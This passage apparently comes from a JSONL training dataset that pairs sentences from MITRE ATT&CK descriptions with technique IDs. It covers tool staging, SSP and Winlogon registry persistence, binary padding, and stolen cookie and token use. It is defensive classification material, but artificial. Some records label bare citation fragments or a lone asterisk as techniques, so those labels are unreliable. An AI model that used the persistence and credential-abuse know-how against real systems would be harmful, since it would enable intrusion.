on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can be open or closed source, free or commercial.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can be open or closed source, free or commercial. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)).", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390)", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing) ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "output": "T1608.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool. ### Response: T1608.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>.", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", "output": "T1547.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) ### Response: T1547.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.", "output": "T1004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. ### Response: T1004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows", "output": "T1004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows ### Response: T1004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon.", "output": "T1004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. ### Response: T1004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.", "output": "T1004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. ### Response: T1004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "output": "T1004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence. ### Response: T1004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary.", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus)", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation:", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Securelist Malware Tricks April 2017)", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Securelist Malware Tricks April 2017) ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files.", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also reduce the likelihood of being collected for analysis.", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also reduce the likelihood of being collected for analysis. ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)", "output": "T1009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ### Response: T1009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use stolen session cookies to authenticate to web applications and services.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use stolen session cookies to authenticate to web applications and services. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cookies are often valid for an extended period of time, even if the web application is not actively used.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cookies are often valid for an extended period of time, even if the web application is not actively used. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation:", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Mac Crypto Cookies January 2019)", "output": "T1550.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Mac Crypto Cookies January 2019) ### Response: T1550.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These tokens are typically stolen from users or services and used in lieu of login credentials.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These tokens are typically stolen from users or services and used in lieu of login credentials. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OAuth is one commonly implemented framework that issues tokens to users for access to systems.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OAuth is one commonly implemented framework that issues tokens to users for access to systems. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation:", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then use this token to request data or perform actions the original account could not.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then use this token to request data or perform actions the original account could not. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "output": "T1550.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. ### Response: T1550.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques 